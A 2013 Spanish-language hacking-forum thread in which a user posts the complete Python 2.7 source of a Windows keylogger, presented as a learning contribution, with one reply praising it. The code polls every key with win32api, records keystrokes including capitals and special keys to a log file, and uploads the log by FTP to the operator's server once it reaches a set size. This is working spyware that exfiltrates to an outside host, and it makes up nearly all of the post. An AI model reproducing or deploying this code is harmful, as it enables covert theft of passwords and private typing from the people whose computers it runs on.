elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Keylogger en python(con win32api)[APORTE]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger en python(con win32api)[APORTE]  (Leído 2,939 veces)
WarZ0n3

Desconectado Desconectado

Mensajes: 22


Ver Perfil
Keylogger en python(con win32api)[APORTE]
« en: 16 Abril 2013, 14:57 pm »

Saludos a toda la comunidad.  :-*
Hoy les traigo un keylogger que programe en python 2.7 usando win32api, funciona vía FTP, y reconoce mayusculas y minusculas.
El código es muy simple y lo aporto con la esperanza de que alguien pueda aprender algo de este versátil lenguaje.
La explicación esta en la descripción... Si tiene alguna duda pregunten!
COMENTEN y gracias!!.  ::)

Código
  1. #******************************************#
  2. #           Pylogger @por WarZ0n3          #
  3. #******************************************#
  4. # Explicacion:                             #
  5. # Pylogger funciona via FTP para poder     #
  6. # usarlo deben de tener su propio servidor #
  7. # FTP ya sea casero. O en un Hosting...    #
  8. # Nota: tambien reconoce minusculas        #
  9. # mayusculas                               #
  10. #******************************************#
  11. # Configuracion y uso:                     #
  12. # Pulsaciones : el numero de pulsaciones   #
  13. # que se cumpliran hasta enviarlo por FTP. #
  14. # ftp_servidor: Tu servidor FTP.           #
  15. # ftp_user    : Tu usuario.                #
  16. # ftp_pass    : Tu contraseña.        #
  17. # logs        : archivo en donde se guarda-#
  18. # ran las pulsaciones(tambien puede ser    #
  19. # referido por ruta EJ: 'C/logs.txt' )     #
  20. #******************************************#
  21.  
  22. # -*- coding: utf-8 -*-
  23. # !usr/bin/python
  24. import win32api, ftplib, os, sys
  25. #   __Variables__
  26. global Ok
  27. Ok = False
  28.  
  29. # CONFIGURACION #
  30. pulsaciones= 55
  31. ftp_servidor= 'ftp.tuserver.com'
  32. ftp_user= 'usuario'
  33. ftp_pass= 'pass'
  34. logs= 'lg56.txt'
  35.  
  36. def __larc():
  37.    try:
  38.        l= open(logs, 'w').write('')
  39.        l.close()
  40.        Keylogger()
  41.    except: Keylogger()
  42. def __cFTP():
  43.    f= ftplib.FTP(ftp_servidor, ftp_user, ftp_pass)
  44.    try:
  45.        fichero= open(logs, 'rb+')
  46.        f.storbinary('STOR'+ ' ' +logs, fichero)
  47.        print f.storbinary
  48.        f.close()
  49.        f.quit()
  50.        __larc()
  51.    except: __larc()
  52. def __comp():
  53.    if os.path.isfile(logs):
  54.        tam = os.path.getsize(logs)
  55.        bytes = 1024
  56.        result = (tam<bytes and 'Bytes' or [(tam<bytes*1000 and 'KB' or [(tam<bytes*1000000 and 'MB' or 'GB')[0]])[0]][0])
  57.        if tam==pulsaciones:
  58.            __cFTP()
  59. def Keylogger():
  60.    try:
  61.        while True:
  62.            fo= open(logs, 'a+')
  63.            for k in range(0, 256):
  64.                key= win32api.GetAsyncKeyState(k)
  65.                if key == -32767: # si es presionada
  66.                    if k == 20:
  67.                        global Ok
  68.                        Ok = True
  69.                        print "Mayus"
  70.                        fo.write('(Mayus)')
  71.                    if k == 20 and MON is True:
  72.                        Ok= False
  73.  
  74.                    MON= Ok
  75.                    if k == 81 and MON is False:
  76.                        print "q"
  77.                        fo.write('q')
  78.                    if k == 81 and MON is True:
  79.                        print "Q"
  80.                        fo.write('Q')
  81.  
  82.                    if k == 87 and MON is False:
  83.                        print "w"
  84.                        fo.write('w')
  85.                    if k == 87 and MON is True:
  86.                        print "W"
  87.                        fo.write('W')
  88.  
  89.                    if k == 69 and MON is False:
  90.                        print "e"
  91.                        fo.write('e')
  92.                    if k == 69 and MON is True:
  93.                        print "E"
  94.                        fo.write('E')
  95.  
  96.                    if k == 82 and MON is False:
  97.                        print "r"
  98.                        fo.write('r')
  99.                    if k == 82 and MON is True:
  100.                        print "R"
  101.                        fo.write('R')
  102.  
  103.                    if k == 84 and MON is False:
  104.                        print "t"
  105.                        fo.write('t')
  106.                    if k == 84 and MON is True:
  107.                        print "T"
  108.                        fo.write('T')
  109.  
  110.                    if k == 89 and MON is False:
  111.                        print "y"
  112.                        fo.write('y')
  113.                    if k == 89 and MON is True:
  114.                        print "Y"
  115.                        fo.write('Y')
  116.  
  117.                    if k == 85 and MON is False:
  118.                        print "u"
  119.                        fo.write('u')
  120.                    if k == 85 and MON is True:
  121.                        print "U"
  122.                        fo.write('U')
  123.  
  124.                    if k == 73 and MON is False:
  125.                        print "i"
  126.                        fo.write('i')
  127.                    if k == 73 and MON is True:
  128.                        print "I"
  129.                        fo.write('I')
  130.  
  131.                    if k == 79 and MON is False:
  132.                        print "o"
  133.                        fo.write('o')
  134.                    if k == 79 and MON is True:
  135.                        print "O"
  136.                        fo.write('O')
  137.  
  138.                    if k == 80 and MON is False:
  139.                        print "p"
  140.                        fo.write('p')
  141.                    if k == 80 and MON is True:
  142.                        print "P"
  143.                        fo.write('P')
  144.  
  145.                    if k == 65 and MON is False:
  146.                        print "a"
  147.                        fo.write('a')
  148.                    if k == 65 and MON is True:
  149.                        print "A"
  150.                        fo.write('A')
  151.  
  152.                    if k == 83 and MON is False:
  153.                        print "s"
  154.                        fo.write('s')
  155.                    if k == 83 and MON is True:
  156.                        print "S"
  157.                        fo.write('S')
  158.  
  159.                    if k == 68 and MON is False:
  160.                        print "d"
  161.                        fo.write('d')
  162.                    if k == 68 and MON is True:
  163.                        print "D"
  164.                        fo.write('D')
  165.  
  166.                    if k == 70 and MON is False:
  167.                        print "f"
  168.                        fo.write('f')
  169.                    if k == 70 and MON is True:
  170.                        print "F"
  171.                        fo.write('F')
  172.  
  173.                    if k == 71 and MON is False:
  174.                        print "g"
  175.                        fo.write('g')
  176.                    if k == 71 and MON is True:
  177.                        print "G"
  178.                        fo.write('G')
  179.  
  180.                    if k == 72 and MON is False:
  181.                        print "h"
  182.                        fo.write('h')
  183.                    if k == 72 and MON is True:
  184.                        print "H"
  185.                        fo.write('H')
  186.  
  187.                    if k == 74 and MON is False:
  188.                        print "j"
  189.                        fo.write('j')
  190.                    if k == 74 and MON is True:
  191.                        print "J"
  192.                        fo.write('J')
  193.  
  194.                    if k == 75 and MON is False:
  195.                        print "k"
  196.                        fo.write('k')
  197.                    if k == 75 and MON is True:
  198.                        print "K"
  199.                        fo.write('K')
  200.  
  201.                    if k == 76 and MON is False:
  202.                        print "l"
  203.                        fo.write('l')
  204.                    if k == 76 and MON is True:
  205.                        print "L"
  206.                        fo.write('L')
  207.  
  208.                    if k == 90 and MON is False:
  209.                        print "z"
  210.                        fo.write('z')
  211.                    if k == 90 and MON is True:
  212.                        print "Z"
  213.                        fo.write('Z')
  214.  
  215.                    if k == 88 and MON is False:
  216.                        print "x"
  217.                        fo.write('x')
  218.                    if k == 88 and MON is True:
  219.                        print "X"
  220.                        fo.write('X')
  221.  
  222.                    if k == 67 and MON is False:
  223.                        print "c"
  224.                        fo.write('c')
  225.                    if k == 67 and MON is True:
  226.                        print "C"
  227.                        fo.write('C')
  228.  
  229.                    if k == 86 and MON is False:
  230.                        print "v"
  231.                        fo.write('v')
  232.                    if k == 86 and MON is True:
  233.                        print "V"
  234.                        fo.write('V')
  235.  
  236.                    if k == 66 and MON is False:
  237.                        print "b"
  238.                        fo.write('b')
  239.                    if k == 66 and MON is True:
  240.                        print "B"
  241.                        fo.write('B')
  242.  
  243.                    if k == 78 and MON is False:
  244.                        print "n"
  245.                        fo.write('n')
  246.                    if k == 78 and MON is True:
  247.                        print "N"
  248.                        fo.write('N')
  249.  
  250.                    if k == 77 and MON is False:
  251.                        print "m"
  252.                        fo.write('m')
  253.                    if k == 77 and MON is True:
  254.                        print "M"
  255.                        fo.write('M')
  256.  
  257.                    if k == 48: print "0" , fo.write('0')
  258.                    if k == 49: print "1" , fo.write('1')
  259.                    if k == 50: print "2" , fo.write('2')
  260.                    if k == 51: print "3" , fo.write('3')
  261.                    if k == 52: print "4" , fo.write('4')
  262.                    if k == 53: print "5" , fo.write('5')
  263.                    if k == 54: print "6" , fo.write('6')
  264.                    if k == 55: print "7" , fo.write('7')
  265.                    if k == 56: print "8" , fo.write('8')
  266.                    if k == 57: print "9" , fo.write('9')
  267.                    if k == 226: print "<" , fo.write('<')
  268.                    if k == 219: print "'" , fo.write("'")
  269.                    if k == 221: print "¡" , fo.write('¡')
  270.                    if k == 222: print "Ž" , fo.write('ŽŽ')
  271.                    if k == 220: print "º" , fo.write('º')
  272.                    if k == 186: print "`" , fo.write('``')
  273.                    if k == 187: print "+" , fo.write('+')
  274.                    if k == 191: print "ç" , fo.write('ç')
  275.                    if k == 189: print "-" , fo.write('-')
  276.                    if k == 190: print "." , fo.write('.')
  277.                    if k == 188: print "," , fo.write(',')
  278.  
  279.                    #if k == 2: print "Click_D" , fo.write('(Click_D)')
  280.                    #if k == 1: print "Click_I" , fo.write('(Click_I)')
  281.                    if k == 27: print "Esc" , fo.write('(Esc)')
  282.                    if k == 8: print "Back" , fo.write('(Back)')
  283.                    if k == 91: print "Windows_I" , fo.write('(Windows_I)')
  284.                    if k == 92: print "Windows_D" , fo.write('(Windows_D)')
  285.                    if k == 93: print "Command" , fo.write('(Command)')
  286.                    if k == 144: print "BloqNum" , fo.write('(BloqNum)')
  287.                    if k == 145: print "BloqDespl" , fo.write('(BloqDespl)')
  288.                    if k == 32: print "Space" , fo.write('(Space)')
  289.                    if k == 9: print "TAB" , fo.write('(TAB)')
  290.                    if k == 45: print "Insert" , fo.write('(Insert)')
  291.                    if k == 17: print "Ctrl" , fo.write('(Ctrl)')
  292.                    if k == 18: print "Alt" , fo.write('(Alt)')
  293.                    if k == 13: print "Enter" , fo.write('(Enter)')
  294.                    if k == 16: print "Shift" , fo.write('(Shift)')
  295.  
  296.                    if k == 39: print "RIGHT" , fo.write('(RIGHT)')
  297.                    if k == 38: print "UP" , fo.write('(UP)')
  298.                    if k == 37: print "LEFT" , fo.write('(LEFT)')
  299.                    if k == 40: print "DOWN" , fo.write('(DOWN)')
  300.                    if k == 36: print "Inicio" , fo.write('(Inicio)')
  301.                    if k == 35: print "Fin" , fo.write('(Fin)')
  302.                    if k == 34: print "AvPag" , fo.write('(AvPag)')
  303.                    if k == 33: print "RePag" , fo.write('(RePag)')
  304.                    if k == 44: print "ImprPantPetSis" , fo.write('(ImprPantPetSis)')
  305.                    if k == 46: print "Supr" , fo.write('(Supr)')
  306.  
  307.                    if k == 96: print "KPAD_0" , fo.write('(KPAD_0)')
  308.                    if k == 97: print "KPAD_1" , fo.write('(KPAD_1)')
  309.                    if k == 98: print "KPAD_2" , fo.write('(KPAD_2)')
  310.                    if k == 99: print "KPAD_3" , fo.write('(KPAD_3)')
  311.                    if k == 100: print "KPAD_4" , fo.write('(KPAD_4)')
  312.                    if k == 101: print "KPAD_5" , fo.write('(KPAD_5)')
  313.                    if k == 102: print "KPAD_6" , fo.write('(KPAD_6)')
  314.                    if k == 103: print "KPAD_7" , fo.write('(KPAD_7)')
  315.                    if k == 104: print "KPAD_8" , fo.write('(KPAD_8)')
  316.                    if k == 105: print "KPAD_9" , fo.write('(KPAD_9)')
  317.                    if k == 106: print "KPAD_*" , fo.write('(KPAD_*)')
  318.                    if k == 107: print "KPAD_+" , fo.write('(KPAD_+)')
  319.                    if k == 109: print "KPAD_-" , fo.write('(KPAD_-)')
  320.                    if k == 110: print "KPAD_." , fo.write('(KPAD_.)')
  321.                    if k == 111: print "KPAD_/" , fo.write('(KPAD_/)')
  322.  
  323.                    if k == 112: print "F1" , fo.write('(F1)')
  324.                    if k == 113: print "F2" , fo.write('(F2)')
  325.                    if k == 114: print "F3" , fo.write('(F3)')
  326.                    if k == 115: print "F4" , fo.write('(F4)')
  327.                    if k == 116: print "F5" , fo.write('(F5)')
  328.                    if k == 117: print "F6" , fo.write('(F6)')
  329.                    if k == 118: print "F7" , fo.write('(F7)')
  330.                    if k == 119: print "F8" , fo.write('(F8)')
  331.                    if k == 120: print "F9" , fo.write('(F9)')
  332.                    if k == 121: print "F10" , fo.write('(F10)')
  333.                    if k == 122: print "F11" , fo.write('(F11)')
  334.                    if k == 123: print "F12" , fo.write('(F12)')
  335.                __comp()
  336.    except KeyboardInterrupt: Keylogger()
  337. Keylogger()
  338.  


En línea

daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: Keylogger en python(con win32api)[APORTE]
« Respuesta #1 en: 17 Abril 2013, 19:33 pm »

buen aporte para el uso de apis en python muchos ni saben que se puede salu2


En línea

buenas
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Aporte] Twisted Project [Python]
Scripting
madpitbull_99 0 2,005 Último mensaje 19 Diciembre 2010, 21:38 pm
por madpitbull_99
[Python] Kaley, Keylogger simple en Python
Scripting
Fyrox 0 7,169 Último mensaje 21 Septiembre 2011, 23:24 pm
por Fyrox
[python]aporte comodines ip
Scripting
daryo 0 2,006 Último mensaje 2 Mayo 2013, 02:34 am
por daryo
[aporte]c keylogger solo con abrirlo se instala
Programación C/C++
daryo 8 2,971 Último mensaje 18 Junio 2013, 13:52 pm
por daryo
[python][aporte]cliente de correo falsificar remitente
Scripting
daryo 0 2,784 Último mensaje 5 Julio 2013, 15:13 pm
por daryo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines